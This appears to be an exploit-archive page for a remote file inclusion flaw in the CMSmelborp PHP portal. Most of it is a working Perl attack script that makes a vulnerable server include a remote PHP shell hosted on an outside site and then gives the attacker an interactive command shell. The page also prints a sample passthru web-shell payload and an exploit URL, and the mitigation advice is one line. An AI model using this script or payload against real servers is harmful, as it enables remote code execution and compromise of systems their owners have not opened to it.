header-logo
Suggest Exploit
vendor:
CMSmelborp
by:
Dr.Trojan & Dr.Pantagon
9,3
CVSS
HIGH
Remote File Inclusion
98
CWE
Product Name: CMSmelborp
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

CMSmelborp(user_standard.php) Remote File Inclusion Exploit

This exploit allows an attacker to execute arbitrary code on the vulnerable server by including a remote file through a vulnerable parameter in the user_standard.php file of CMSmelborp. The attacker can use this vulnerability to upload a malicious file and execute it on the server.

Mitigation:

The best way to mitigate this vulnerability is to ensure that user input is properly sanitized and validated before being used in any file inclusion operations.
Source

Exploit-DB raw data:

#!/usr/bin/perl
##
# Portal Name : CMSmelborp(user_standard.php) Remote File Inclusion Exploit
# Bug Found DeltahackingSecurityTEAM Code :Dr.Trojan&Dr.Pantagon
##
# Download =http://superb-west.dl.sourceforge.net/sourceforge/cmsmelborp/CMSmelborp.zip
#
##
# usage:
# perl CMSmelborp.pl <target> <cmd shell location> <cmd shell variable>
#
# perl CMSmelborp.pl http://[target]/[path]/includes http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: Dr.Trojan , Hiv++ , D_7j ,Vpc,Str0ke
#
# Contact:dr.trojan@deltahacking.net
##
# Web Site:www.deltahacking.net(private)&www.deltahacking.ir(Puplic)
# exploit: http://site.com/includes/user_standard.php?relative_root=http://yourshell/shell.txt?&
##

use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
head();
while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'includes/user_standard.php?relative_root='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[.......]/;
if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}
if($return =~ /(.*)/)

{
       $finreturn = $1;
       $finreturn=~ tr/[.......]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}
else {print "[shell] \$";}}}last;
sub head()
 {
 print "\n============================================================================\r\n";
 print " *We Are 1 in Iran & 4in W0rld We Server:http://takserver.ir Sec=99/99%*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl CMSmelborp.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to CMSmelborp ex: http://[target]/[path]/includes \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://d4wood.by.ru/cmd.gif \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found DeltahackingSecurityTEAM \r\n";
 print "                             Iranian Are The Best In World \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-11-12]